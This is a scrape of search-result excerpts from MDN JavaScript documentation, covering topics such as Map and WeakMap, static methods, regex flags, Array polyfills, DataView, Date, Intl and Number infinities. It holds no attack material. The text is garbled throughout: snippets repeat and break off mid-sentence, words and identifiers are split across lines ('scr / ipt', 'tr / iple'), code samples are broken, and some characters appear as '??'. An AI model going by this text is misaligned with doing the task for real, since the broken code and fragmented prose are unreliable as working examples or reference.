ip of grid layout to other layout methods. this article details many of the ways that grid layout differs from flex layout, and demonstrates some of the extra functionality you get when using grid layout such as layering of items on the grid. this may also help in your decision as to which layout method to use. flexbox and display: contents the contents value of the display property is a new value...
...flex layout only applies to the direct children of a flex container. by adding display: conte...
...flex layout only applies to the direct children of a flex container. ...
Keyed collections - JavaScript
a map object is a simple key/value map and can iterate its elements in insertion order. the following code shows some basic operations with a map. see also the map reference page for more examples and the complete api. you can use a for...of loop to return an array of [key, value] for each iteration. ...
...ter maps. the keys of an object are strings or symbols, where they can be of any value for a map. you can get the size of a map easily, while you have to manually keep track of size for an object. the iteration of maps is in insertion order of the elements. an object has a prototype, so there are default keys in the map. (this can be bypassed using map = object.create(null).) these three t
ips can help you to decide whether to use a map or an object: use maps over objects when keys are unknown until run time, and when all keys are the same type and all values are the same type. use maps if there is a need to store primitive values as keys because object treats each key as a string whether it's a number value, boolean value or any other primitive value. use objects when there is l...
...ey were, the list would depend on the state of garbage collection, introducing non-determinism. for more information and example code, see also "why weakmap?" on the weakmap reference page. one use case of weakmap objects is to store private data for an object, or to hide implementation details. the following example is from nick fitzgerald's blog post "hiding implementation details with ecmascr
ipt 6 weakmaps". the private data and methods belong inside the object and are stored in the privates weakmap object. everything exposed on the instance and prototype is public; everything else is inaccessible from the outside world because privates is not exported from the module. const privates = new weakmap(); function public() { const me = { // private data goes here }; privates.set(...
... array.from or the spread operator. also, the set constructor accepts an array to convert in the other direction. note: remember that set objects store unique values--so any duplicate elements from an array are deleted when converting! array.from(myset); [...myset2]; myset2 = new set([1, 2, 3, 4]); array and set compared traditionally, a set of elements has been stored in arrays in javascr
ipt in a lot of situations. the new set object, however, has some advantages: deleting array elements by value (arr.splice(arr.indexof(val), 1)) is very slow. set objects let you delete elements by their value. with an array, you would have to splice based on an element's index. the value nan cannot be found with indexof in an array. set objects store unique values. you don't have to manually ...
static - JavaScript
nteractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax static methodname() { ... } examples using static in classes the following example demonstrates several things: how a static method is implemented on a class. that a class with a static member can be sub-classed. how a static method can and cannot be called. ...
...s project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax static methodname() { ... } examples using static in classes the following example demonstrates several things: how a static method is implemented on a class. that a class with a static member can be sub-classed. how a static method can and cannot be called. ...
...ctive-examples and send us a pull request. syntax static methodname() { ... } examples using static in classes the following example demonstrates several things: how a static method is implemented on a class. that a class with a static member can be sub-classed. how a static method can and cannot be called. class tr
iple { static tr
iple(n = 1) { return n * 3; } } class biggertr
iple extends tr
iple { static tr
iple(n) { return super.tr
iple(n) * super.tr
iple(n); } } console.log(tr
iple.tr
iple()); // 3 console.log(tr
iple.tr
iple(6)); // 18 var tp = new tr
iple(); console.log(biggertr
iple.tr
iple(3)); // 81 (not affected by parent's instantiation) console.log(tp.tr
iple()); // 'tp.tr
iple is not a function'. calling static methods from another static method...
...onstructor.static_method_name(). class staticmethodcall { constructor() { console.log(staticmethodcall.staticmethod()); // 'static method has been called.' console.log(this.constructor.staticmethod()); // 'static method has been called.' } static staticmethod() { return 'static method has been called.'; } } specifications specification ecmascr
ipt (ecma-262)the definition of 'class definitions' in that specification. ...
SyntaxError: invalid regular expression flag "x" - JavaScript
message syntaxerror: syntax error in regular expression (edge) syntaxerror: invalid regular expression flag "x" (firefox) syntaxerror: invalid regular expression flags (chrome) error type syntaxerror what went wrong? there are invalid regular expression flags in the code. in a regular expression literal, which consists of a pattern enclosed between slashes, the flags are defined after the second slash. they can also be defined in the constructor function of the regexp object (second parameter). ...
... there are invalid regular expression flags in the code. in a regular expression literal, which consists of a pattern enclosed between slashes, the flags are defined after the second slash. they can also be defined in the constructor function of the regexp object (second parameter). ...
...hey can also be defined in the constructor function of the regexp object (second parameter). regular expression flags can be used separately or together in any order, but there are only six of them in ecmascr
ipt. to include a flag with the regular expression, use this syntax: var re = /pattern/flags; or var re = new regexp('pattern', 'flags'); regular expression flags flag descr
iption g global search. i case-insensitive search. m multi-line search. s allow . to match newlines (added in ecmascr
ipt 2018) u unicode; treat pattern as a sequence of unicode code points y perform a "sticky" search that matches starting at the current position in the target string. see sticky examples there are onl...
... /foo/g; /foo/gims; /foo/uy; ...
Warning: expression closures are deprecated - JavaScript
examples deprecated syntax expression closures omit curly braces or return statements from function declarations or from method definitions in objects. ...
... examples deprecated syntax expression closures omit curly braces or return statements from function declarations or from method definitions in objects. ...
...ccurs when the non-standard expression closure syntax (shorthand function syntax) is used. message warning: expression closures are deprecated error type warning. javascr
ipt execution won't be halted. what went wrong? ...
...ill be removed entirely in bug 1083458 and scr
ipts using it will throw a syntaxerror then. examples deprecated syntax expression closures omit curly braces or return statements from function declarations or from method definitions in objects. var x = function() 1; var obj = { count: function() 1 }; standard syntax to convert the non-standard expression closures syntax to standard ecmascr
ipt syntax, you can add curly braces and return statements. var x = function() { return 1; } var obj = { count: function() { return 1; } }; standard syntax using arrow functions alternatively, you can use arrow functions: var x = () => 1; standard syntax using shorthand method syntax expression closures can also be found with getter and setter, like this: var obj = { get x() 1, set x(...
Array.prototype.filter() - JavaScript
element the current element being processed in the array. indexoptional the index of the current element being processed in the array. arrayoptional the array filter was called upon. thisargoptional value to use as this when executing callback. return value a new array with the elements that pass the test. if no elements pass the test, an empty array will be returned. descr
iption filter() calls a provided callback function once for each element in an array, and constructs a new array of all the values for which callback returns a value that coerces to true. callback is invoked only for indexes of the array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values. array elements which do not pass the ca...
...ovided callback function once for each element in an array, and constructs a new array of all the values for which callback returns a value that coerces to true. callback is invoked only for indexes of the array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values. array elements which do not pass the callback test are simply sk
ipped, and are not included in the new array. callback is invoked with three arguments: the value of the element the index of the element the array object being traversed if a thisarg parameter is provided to filter, it will be used as the callback's this value. otherwise, the value undefined will be used as its this value. the this value ultimately observable by callback is determined accor...
... callback) after the call to filter() begins will not be visited by callback. if existing elements of the array are deleted in the same way they will not be visited. polyfill filter() was added to the ecma-262 standard in the 5th edition. therefore, it may not be present in all implementations of the standard. you can work around this by inserting the following code at the beginning of your scr
ipts, allowing use of filter() in ecma-262 implementations which do not natively support it. this algorithm is exactly equivalent to the one specified in ecma-262, 5th edition, assuming that fn.call evaluates to the original value of function.prototype.bind(), and that array.prototype.push() has its original value. if (!array.prototype.filter){ array.prototype.filter = function(func, thisarg) { ...
... ...
Array.prototype.find() - JavaScript
3 arguments: element the current element in the array. index optional the index (position) of the current element in the array. array optional the array that find was called on. thisarg optional object to use as this inside callback. return value the value of the first element in the array that satisfies the provided testing function. otherwise, undefined is returned. descr
iption the find method executes the callback function once for each index of the array until the callback returns a truthy value. if so, find immediately returns the value of that element. otherwise, find returns undefined. callback is invoked for every index of the array, not just those with assigned values. this means it may be less efficient for sparse arrays, compared to methods that only visi...
...st invocation of callback. therefore: callback will not visit any elements added to the array after the call to find begins. if an existing, yet-unvisited element of the array is changed by callback, its value passed to the callback will be the value at the time find visits that element's index. elements that are deleted are still visited. polyfill this method has been added to the ecmascr
ipt 2015 specification and may not be available in all javascr
ipt implementations yet. however, you can polyfill array.prototype.find with the following sn
ippet: // https://tc39.github.io/ecma262/#sec-array.prototype.find if (!array.prototype.find) { object.defineproperty(array.prototype, 'find', { value: function(predicate) { // 1. let o be ? toobject(this value). if (this == nul...
...< kvalue, k, o >>)). // d. if testresult is true, return kvalue. var kvalue = o[k]; if (predicate.call(thisarg, kvalue, k, o)) { return kvalue; } // e. increase k by 1. k++; } // 7. return undefined. return undefined; }, configurable: true, writable: true }); } if you need to support truly obsolete javascr
ipt engines that don't support object.defineproperty, it is best not to polyfill array.prototype at all, as you cannot make it non-enumerable. examples find an object in an array by one of its properties const inventory = [ {name: 'apples', quantity: 2}, {name: 'bananas', quantity: 0}, {name: 'cherries', quantity: 5} ]; function ischerries(fruit) { return fruit.name === 'cherries'; } co...
... ...
Array.from() - JavaScript
t, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax array.from(arraylike [, mapfn [, thisarg]]) parameters arraylike an array-like or iterable object to convert to an array. mapfn optional map function to call on every element of the array. thisarg optional value to use as this when executing mapfn. return value a new array instance. descr
iption array.from() lets you create arrays from: array-like objects (objects with a length property and indexed elements); or iterable objects (objects such as map and set). array.from() has an optional parameter mapfn, which allows you to execute a map() function on each element of the array being created. more clearly, array.from(obj, mapfn, thisarg) has the same result as array.from(obj).
... classes. as a result, static methods such as array.from() are "inherited" by subclasses of array, and create new instances of the subclass, not array. polyfill array.from() was added to the ecma-262 standard in the 6th edition (es2015). as such, it may not be present in other implementations of the standard. you can work around this by inserting the following code at the beginning of your scr
ipts, allowing use of array.from() in implementations that don't natively support it. polyfill notes: this algorithm is exactly as specified in ecma-262 6th edition (assuming object and typeerror have their original values and that callback.call() evaluates to the original value of function.prototype.call()). in addition, since true iterables cannot be polyfilled, this implementation does not sup...
...clojure, php etc) const r...
... 3, 5, 7, 9] // generate the alphabet using array.from making use of it being ordered as a sequence range('a'.charcodeat(0), 'z'.charcodeat(0), 1).map(x => string.fromcharcode(x)); // ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"] specifications specification initial publication ecmascr
ipt (ecma-262)the definition of 'array.from' in that specification. ecmascr
ipt 2015 ...
Array.prototype.indexOf() - JavaScript
not be searched. if the provided index value is a negative number, it is taken as the offset from the end of the array. note: if the provided index is negative, the array is still searched from front to back. if the provided index is 0, then the whole array will be searched. default: 0 (entire array is searched). return value the first index of the element in the array; -1 if not found. descr
iption indexof() compares searchelement to elements of the array using strict equality (the same method used by the === or tr
iple-equals operator). note: for the string method, see string.prototype.indexof(). polyfill indexof() was added to the ecma-262 standard in the 5th edition; as such it may not be present in all browsers. you can work around this by utilizing the following code at the b...
...ares searchelement to elements of the array using strict equality (the same method used by the === or tr
iple-equals operator). note: for the string method, see string.prototype.indexof(). polyfill indexof() was added to the ecma-262 standard in the 5th edition; as such it may not be present in all browsers. you can work around this by utilizing the following code at the beginning of your scr
ipts. this will allow you to use indexof() when there is still no native support. this algorithm matches the one specified in ecma-262, 5th edition, assuming typeerror and math.abs() have their original values. // this version tries to optimize by only checking for "in" when looking for undefined and // sk
ipping the definitely fruitless nan search. other parts are merely cosmetic conciseness. // wh...
... // production steps of ecma-262, edition 5, 15.4.4.14 // reference: http://es5.github.io/#x15.4.4.14 if (!array.prototype.indexof) { array.prototype.indexof = function(searchelement, fromindex) { "use strict"; var k; // 1. let o be the result of calling toobject passing // the this value as the argument. if (this == null) { throw ne...
... ...
Array.prototype.lastIndexOf() - JavaScript
qual to the length of the array, the whole array will be searched. if negative, it is taken as the offset from the end of the array. note that even when the index is negative, the array is still searched from back to front. if the calculated index is less than 0, -1 is returned, i.e. the array will not be searched. return value the last index of the element in the array; -1 if not found. ...
...ay. note that even when the index is negative, the array is still searched from back to front. if the calculated index is less than 0, -1 is returned, i.e. the array will not be searched. return value the last index of the element in the array; -1 if not found. descr
iption lastindexof compares searchelement to elements of the array using strict equality (the same method used by the ===, or tr
iple-equals, operator). polyfill lastindexof was added to the ecma-262 standard in the 5th edition; as such it may not be present in other implementations of the standard. you can work around this by inserting the following code at the beginning of your scr
ipts, allowing use of lastindexof in implementations which do not natively support it. this algorithm is exactly the one specified in ecma-262...
...if you intend to use this in real-world applications, you may be able to calculate from with less complicated code if you ignore those cases. examples using lastindexof the following example uses lastindexof to locate values in an array. var numbers = [2, 5, 9, 2]; numbers.lastindexof(2); // 3 numbers.lastindexof(7); /...
... ...
Array.prototype.sort() - JavaScript
mparefunction optional specifies a function that defines the sort order. if omitted, the array elements are converted to strings, then sorted according to each character's unicode code point value. firstel the first element for comparison. secondel the second element for comparison. return value the sorted array. note that the array is sorted in place, and no copy is made. descr
iption if comparefunction is not supplied, all non-undefined array elements are sorted by converting them to strings and comparing strings in utf-16 code units order. for example, "banana" comes before "cherry". in a numeric sort, 9 comes before 80, but because numbers are converted to strings, "80" comes before "9" in the unicode order. all undefined elements are sorted to the end of the array. ...
... undefined elements are sorted to the end of the array, with no call to comparefunction). if a and b are two elements being compared, then: if comparefunction(a, b) returns less than 0, sort a to an index lower than b (i.e. a comes first). if comparefunction(a, b) returns 0, leave a and b unchanged with respect to each other, but sorted with respect to all different elements. note: the ecmascr
ipt standard does not guarantee this behavior, thus, not all browsers (e.g. mozilla versions dating back to at least 2003) respect this. if comparefunction(a, b) returns greater than 0, sort b to an index lower than a (i.e. b comes first). comparefunction(a, b) must always return the same value when given a specific pair of elements a and b as its two arguments. if inconsistent results are returne...
...other than english, use string.localecompare. this function can compare those characters so they appear in the right order. var items = ['reserve', 'premier', 'communique', 'cafe', 'adieu', 'eclair']; items.sort(function (a, b) { return a.localecompare(b); }); // items is ['adieu', 'cafe', 'communique', 'eclair', 'premier', 'reserve'] sorting with map the comparefunction can be invoked mult
iple times per element within the array. depending on the comparefunction's nature, this may yield a high overhead. the more work a comparefunction does and the more elements there are to sort, it may be more efficient to use map for sorting. the idea is to traverse the array once to extract the actual values used for sorting into a temporary array, sort the temporary array, and then traverse the te...
... ...
DataView - JavaScript
the dataview view provides a low-level interface for reading and writing mult
iple number types in a binary arraybuffer, without having to care about the platform's endianness. descr
iption endianness multi-byte number formats are represented in memory differently depending on machine architecture -- see endianness for an explanation. dataview accessors provide explicit control of how data is accessed, regardless of the executing computer's endianness. var littleendian = (function() { var buffer = new arraybuffer(2); new dataview(buffer).setint16(0, 256, true /* littleendian */); // int16array uses the platform's endianness. ...
...ontrol of how data is accessed, regardless of the executing computer's endianness. var littleendian = (function() { var buffer = new arraybuffer(2); new dataview(buffer).setint16(0, 256, true /* littleendian */); // int16array uses the platform's endianness. return new int16array(buffer)[0] === 256; })(); console.log(littleendian); // true or false 64-bit integer values because javascr
ipt does not currently include standard support for 64-bit integer values, dataview does not offer native 64-bit operations. as a workaround, you could implement your own getuint64() function to obtain a value with precision up to number.max_safe_integer, which could suffice for certain cases. function getuint64(dataview, byteoffset, littleendian) { // split 64-bit number into two 32-bit (4-byte)...
... 2**32*right : 2**32*left + right; if (!number.issafeinteger(combined)) console.warn(combined, 'exceeds max_safe_integer. precision may be lost'); return combined; } alternatively, if you need full 64-bit range, you can create a bigint. further, although native bigints are much faster than user-land library equivalents, bigints will always be much slower than 32-bit integers in javascr
ipt due to the nature of their variable size. const bigint = window.bigint, bigthirtytwo = bigint(32), bigzero = bigint(0); function getuint64bigint(dataview, byteoffset, littleendian) { // split 64-bit number into two 32-bit (4-byte) parts const left = bigint(dataview.getuint32(byteoffset|0, !!littleendian)>>>0); const right = bigint(dataview.getuint32((byteoffset|0) + 4|0, !!littleendian)>>...
...ffset from the start of the view. dataview.prototype.setbiguint64() stores an unsigned 64-bit integer (unsigned long long) value at the specified byte offset from the start of the view. examples using dataview var buffer = new arraybuffer(16); var view = new dataview(buffer, 0); view.setint16(1, 42); view.getint16(1); // 42 specifications specification ecmascr
ipt (ecma-262)the definition of 'dataview' in that specification. ...
Date() constructor - JavaScript
date objects contain a number that represents milliseconds since 1 january 1970 utc. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax new date() new date(value) new date(datestring) new date(year, monthindex [, day [, hours [, minutes [, seconds [, milliseconds]]]]]) note: the only correct way to instantiate a new date object is by using the new operator. if you simply call the date object directly, such as now = date(), the returned value is a string rather than a date object. ...
...n a date object. parameters there are four basic forms for the date() constructor: no parameters when no parameters are provided, the newly-created date object represents the current date and time as of the time of instantiation. time value or timestamp number value an integer value representing the number of milliseconds since january 1, 1970, 00:00:00 utc (the ecmascr
ipt epoch, equivalent to the unix epoch), with leap seconds ignored. keep in mind that most unix timestamp functions are only accurate to the nearest second. timestamp string datestring a string value representing a date, specified in a format recognized by the date.parse() method. (these formats are ietf-compliant rfc 2822 timestamps, and also strings in a version of iso8601.) ...
...is 0 minutes past the hour. seconds optional integer value representing the second segment of a time. the default is 0 seconds past the minute. milliseconds optional integer value representing the millisecond segment of a time. the default is 0 milliseconds past the second. examples several ways to create a date object the following examples show several ways to create javascr
ipt dates: note: parsing of date strings with the date constructor (and date.parse, they are equivalent) is strongly discouraged due to browser differences and inconsistencies. let today = new date() let birthday = new date('december 17, 1995 03:24:00') let birthday = new date('1995-12-17t03:24:00') let birthday = new date(1995, 11, 17) // the month is 0-indexed let birthday = new dat...
... ...
Date.prototype.toString() - JavaScript
the tostring() method returns a string representing the specified date object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.tostring() return value a string representing the given date. descr
iption date instances inherit their tostring() method from date.prototype, not object.prototype. date.prototype.tostring() returns a string representation of the date in the format specified in ecma-262 which can be summarised as: week day: 3 letter english week day name, e.g. "sat" space month name: 3 letter english month name, e.g. "sep" space date: 2 digit day in month, e.g. "01" space year: ...
....g. "00" optionally, a timezone name consisting of: space left bracket, i.e. "(" an implementation dependent string representation of the timezone, which might be an abbreviation or full name (there is no standard for names or abbreviations of timezones), e.g. "line islands time" or "lint" right bracket, i.e. ")" e.g. "sat sep 01 2018 14:53:26 gmt+1400 (lint)" until ecmascr
ipt 2018 (edition 9), the format of the string returned by date.prototype.tostring was implementation dependent. therefore it should not be relied upon to be in the specified format. the tostring() method is automatically called when a date is to be represented as a text value, e.g. console.log(new date()), or when a date is used in a string concatenation, such as var today = 'today is ' + new date...
...() method is automatically called when a date is to be represented as a text value, e.g. console.log(new date()), or when a date is used in a string concatenation, such as var today = 'today is ' + new date(). tostring() is a generic method, it does not require that its this is a date instance. however, it must have an internal [[timevalue]] property that can't be constructed using native javascr
ipt, so it's effectively limited to use with date instances. if called on a non-date instance, a typeerror is thrown. examples using tostring() the following assigns the tostring() value of a date object to myvar: var x = new date(); var myvar = x.tostring(); // assigns a string value to myvar in the same format as: // mon sep 08 1998 14:36:22 gmt-0700 (pdt) specifica...
...e instances. if called on a non-date instance, a typeerror is thrown. examples using tostring() the following assigns the tostring() value of a date object to myvar: var x = new date(); var myvar = x.tostring(); // assigns a string value to myvar in the same format as: // mon sep 08 1998 14:36:22 gmt-0700 (pdt) specifications specification ecmascr
ipt (ecma-262)the definition of 'date.prototype.tostring' in that specification. ...
Error.prototype.stack - JavaScript
the non-standard stack property of error objects offer a trace of which functions were called, in what order, from which line and file, and with what arguments. the stack string proceeds from the most recent calls to earlier ones, leading back to the original global scope call. descr
iption each step will be separated by a newline, with the first part of the line being the function name (if not a call from the global scope), then by an at (@) sign, the file location (except when the function is the error constructor as the error is being thrown), a colon, and, if there is a file location, the line number. (note that the error object also possesses the filename, linenumber and columnnumber properties for retrieving these from the error thrown (but only the error, and not its trace...
...nd, if there is a file location, the line number. (note that the error object also possesses the filename, linenumber and columnnumber properties for retrieving these from the error thrown (but only the error, and not its trace).) note that this is the format used by firefox. there is no standard formatting. however, safari 6+ and opera 12- use a very similar format. browsers using the v8 javascr
ipt engine (such as chrome, opera 15+, android browser) and ie10+, on the other hand, uses a different format (see the archived msdn error.stack docs). argument values in the stack: prior to firefox 14, the function name would be followed by the argument values converted to string in parentheses immediately before the at (@) sign. while an object (or array, etc.) would appear in the converted form ...
...alue at different times. for example, firefox sets it when creating an error object, while phantomjs sets it only when throwing the error, and archived msdn docs also seem to match the phantomjs implementation. examples using the stack property the following html markup demonstrates the use of stack property. ...
...es using the stack property the following html markup demonstrates the use of stack property. ...
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
the intl.datetimeformat.prototype.formattoparts() method allows locale-aware formatting of strings produced by datetimeformat formatters. syntax datetimeformat.formattoparts(date) parameters date optional the date to format. return value an array of objects containing the formatted date in parts. descr
iption the formattoparts() method is useful for custom formatting of date strings. it returns an array of objects containing the locale-specific tokens from which it possible to build custom strings while preserving the locale-specific parts. the structure the formattoparts() method returns, looks like this: [ { type: 'day', value: '17' }, { type: 'weekday', value: 'monday' } ] possible types are the following: day the string used for the day, for example "17". dayperiod...
...". weekday the string used for the weekday, for example "m", "monday", or "montag". year the string used for the year, for example "2012" or "96". yearname the string used for the yearname in relevant contexts, for example "geng-zi" polyfill a polyfill for this feature is available in the proposal repository. ...
...en using the formattoparts() method. console.log(formatter.format(date)); // "monday, 12/17/2012, 3:00:42.000 am" console.log(datestring); // "monday, 12/17/2012, 3:00:42.000 <b>am</b>" named years and mixed calendars in some cases, calendars use named years. chinese and tibetan calendars, for example, use a 60-year sexagenary cycle of named years. these years are disambiguated by relationsh
ip to corresponding years on the gregorian calendar. when this is the case, the result of formattoparts() will contain an entry for relatedyear when a year would normally be present, containing the 4-digit gregorian year, instead of an entry for year. setting an entry in the bag for year (with any value) will yield both the and the yearname gregorian relatedyear: let opts = { year: "numeric", mo...
... ...
Intl.DisplayNames - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constructor intl.displaynames() creates a new intl.displaynames object. static methods intl.displaynames.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale. ...
... // get display names of language in english let languagenames = new intl.displaynames(['en'], {type: 'language'}); languagenames.of('fr'); // "french" languagenames.of('de'); // "german" languagenames.of('fr-ca'); // "canadian french" languagenames.of('zh-hant'); // "traditional chinese" languagenames.of('en-us'); // "american english" languagenames.of('zh-tw'); ...
...adian french" languagenames.of('zh-hant'); // "traditional chinese" languagenames.of('en-us'); // "american english" languagenames.of('zh-tw'); // "chinese (taiwan)"] // get display names of language in traditional chinese languagenames = new intl.displaynames(['zh-hant'], {type: 'language'}); languagenames.of('fr'); // "??" languagenames.of('zh'); // "??" languagenames.of('de'); // "??" scr
ipt code display names to create an intl.displaynames for a locale and get the display name for a scr
ipt code. // get display names of scr
ipt in english let scr
iptnames = new intl.displaynames(['en'], {type: 'scr
ipt'}); // get scr
ipt names scr
iptnames.of('latn'); // "latin" scr
iptnames.of('arab'); // "arabic" scr
iptnames.of('kana'); // "katakana" // get display names of scr
ipt in traditional chin...
...display names to create an intl.displaynames for a locale and get the display name for a scr
ipt code. // get display names of scr
ipt in english let scr
iptnames = new intl.displaynames(['en'], {type: 'scr
ipt'}); // get scr
ipt names scr
iptnames.of('latn'); // "latin" scr
iptnames.of('arab'); // "arabic" scr
iptnames.of('kana'); // "katakana" // get display names of scr
ipt in traditional chinese scr
iptnames = new intl.displaynames(['zh-hant'], {type: 'scr
ipt'}); scr
iptnames.of('latn'); // "???" scr
iptnames.of('arab'); // "????" scr
iptnames.of('kana'); // "???" currency code display names to create an intl.displaynames for a locale and get the display name for currency code. // get display names of currency code in english let currencynames = new intl.displaynames(['en'], {type: 'currency'})...
Intl.Locale.prototype.maximize() - JavaScript
the intl.locale.prototype.maximize() method gets the most likely values for the language, scr
ipt, and region of the locale based on existing values. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax locale.maximize() return value a locale instance whose basename property returns the result of the add likely subtags algorithm executed against locale.basename. descr
iption sometimes, it is convenient to be able to identify the most likely locale language identifier subtags based on an incomplete langauage id. the add likely subtags algorithm gives us this functionality. for instance, given the language id "...
...subtags algorithm executed against locale.basename. descr
iption sometimes, it is convenient to be able to identify the most likely locale language identifier subtags based on an incomplete langauage id. the add likely subtags algorithm gives us this functionality. for instance, given the language id "en", the algorithm would return "en-latn-us", since english can only be written in the latin scr
ipt, and is most likely to be used in the united states, as it is the largest english-speaking country in the world. this functionality is provided to javascr
ipt programmers via the maximize() method. maximize() only affects the main subtags that comprise the language identifier: language, scr
ipt, and region subtags. other subtags after the "-u" in the locale indentifier are called extension subtags...
...endar, and locale.numeric. examples using maximize let mylocale = new intl.locale("fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr" console.log(mylocale.tostring()); // prints "fr-u-ca-gregory-hc-h24" let mylocmaximized = mylocale.maximize(); // prints "fr-latn-fr". ...
... prints "fr-latn-fr". the "latn" and "fr" tags are added, // since french is only written in the latin scr
ipt and is most likely to be spoken in france. console.log(mylocmaximized.basename); // prints "fr-latn-fr-u-ca-gregory-hc-h24". // note that the extension tags (after "-u") remain unchanged. ...
Intl.Locale.prototype.minimize() - JavaScript
rce for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax locale.minimize() return value a locale instance whose basename property returns the result of the remove likely subtags algorithm executed against locale.basename. descr
iption this method carries out the reverse of maximize(), removing any language, scr
ipt, or region subtags from the locale language identifier (essentially the contents of basename). this is useful when there are superfluous subtags in the language identifier; for instance, "en-latn" can be simplified to "en", since "latn" is the only scr
ipt used to write english. minimize() only affects the main s...
...other subtags after the "-u" in the locale indentifier are called extension subtags and are not affected by the minimize() method. examples of these subtags include locale.hourcycle, locale.calendar, and locale.numeric. ...
....hourcycle, locale.calendar, and locale.numeric. ...
...c-h24" let mylocminimized = mylocale.minimize(); // prints "fr", since french is only written in the latin scr
ipt // and is most likely to be spoken in france. console.log(mylocminimized.basename); // prints "fr-u-ca-gregory-hc-h24". // note that the extension tags (after "-u") remain unchanged. ...
Number.NEGATIVE_INFINITY - JavaScript
is interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of number.negative_infinity writable no enumerable no configurable no descr
iption the value of number.negative_infinity is the same as the negative value of the global object's infinity property. this value behaves slightly differently than mathematical infinity: any positive value, including positive_infinity, mult
iplied by negative_infinity is negative_infinity. any negative value, including negative_infinity, mult
iplied by negative_infinity is positive_infinity. ...
... negative_infinity, divided by any negative value except negative_infinity, is positive_infinity. negative_infinity, divided by any positive value except positive_infinity, is negative_infinity. ...
... negative_infinity, divided by any negative value except negative_infinity, is positive_infinity. negative_infinity, divided by any positive value except positive_infinity, is negative_infinity. negative_infinity, divided by either negative_infinity or positive_infinity, is nan. ...
...riable smallnumber is assigned a value that is smaller than the minimum value. when the if statement executes, smallnumber has the value -infinity, so smallnumber is set to a more manageable value before continuing. var smallnumber = (-number.max_value) * 2; if (smallnumber === number.negative_infinity) { smallnumber = returnfinite(); } specifications specification ecmascr
ipt (ecma-262)the definition of 'number.negative_infinity' in that specification. ...
Number.POSITIVE_INFINITY - JavaScript
is interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of number.positive_infinity writable no enumerable no configurable no descr
iption the value of number.positive_infinity is the same as the value of the global object's infinity property. this value behaves slightly differently than mathematical infinity: any positive value, including positive_infinity, mult
iplied by positive_infinity is positive_infinity. any negative value, including negative_infinity, mult
iplied by positive_infinity is negative_infinity. any posit...
... positive_infinity, divided by any negative value except negative_infinity, is negative_infinity. positive_infinity, divided by any positive value except positive_infinity, is positive_infinity. ...
... positive_infinity, divided by any negative value except negative_infinity, is negative_infinity. positive_infinity, divided by any positive value except positive_infinity, is positive_infinity. positive_infinity, divided by either negative_infinity or positive_infinity, is nan. ...
... ...
Comparing Reflect and Object methods - JavaScript
some of the static functions that exist on reflect also correspond to methods available on object, which predates es2015. although some of the methods appear to be similar in their behavior, there are often subtle differences between them. the table below details the differences between the methods available on the object and reflect apis. please note that if a method does not exist in an api, it is marked as n/a. ...
...uccessfully on the object and false if it was not. throws a typeerror if the target was not an object. get() n/a reflect.get() returns the value of the property. throws a typeerror if the target was not an object. deleteproperty() n/a reflect.deleteproperty() returns true if the property was deleted from the object and false if it was not. ...
...f it was not. throws a typeerror if the target was not an object. get() n/a reflect.get() returns the value of the property. throws a typeerror if the target was not an object. deleteproperty() n/a reflect.deleteproperty() returns true if the property was deleted from the object and false if it was not. getownpropertydescr
iptor() object.getownpropertydescr
iptor() returns a property descr
iptor of the given property if it exists on the object argument passed in, and returns undefined if it does not exist. however, if an object is not passed in as the first argument, it will be coerced into an object. reflect.getownpropertydescr
iptor() returns a property descr
iptor of the given property if it exists on the object. returns undefined if it does not exi...
...t does not exist. however, if an object is not passed in as the first argument, it will be coerced into an object. reflect.getownpropertydescr
iptor() returns a property descr
iptor of the given property if it exists on the object. returns undefined if it does not exist, and a typeerror if anything other than an object (a primitive) is passed in as the first argument. getownpropertydescr
iptors() object.getownpropertydescr
iptors() returns an object containing a property descr
iptor of each passed-in object. returns an empty object if the passed-in object has no owned property descr
iptors. n/a getprototypeof() object.getprototypeof() returns the prototype of the given object. returns null if there are no inherited properties. throws a typeerror for non-objects in es5...
String.prototype.endsWith() - JavaScript
clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.endswith(searchstring[, length]) parameters searchstring the characters to be searched for at the end of str. length optional if provided, it is used as the length of str. defaults to str.length. return value true if the given characters are found at the end of the string; otherwise, false. ...
...e searched for at the end of str. length optional if provided, it is used as the length of str. defaults to str.length. return value true if the given characters are found at the end of the string; otherwise, false. descr
iption this method lets you determine whether or not a string ends with another string. this method is case-sensitive. polyfill this method has been added to the ecmascr
ipt 6 specification and may not be available in all javascr
ipt implementations yet. ...
...racters are found at the end of the string; otherwise, false. descr
iption this method lets you determine whether or not a string ends with another string. this method is case-sensitive. polyfill this method has been added to the ecmascr
ipt 6 specification and may not be available in all javascr
ipt implementations yet. ...
... ...
String length - JavaScript
7) established a maximum length of 2^53 - 1 elements. ...
...7) established a maximum length of 2^53 - 1 elements. ...
...7) established a maximum length of 2^53 - 1 elements. previously, no maximum length was specified. in firefox, strings have a maximum length of 2**30 - 2 (~1gb). in versions prior to firefox 65, the maximum length was 2**28 - 1 (~256mb). for an empty string, length is 0. ...
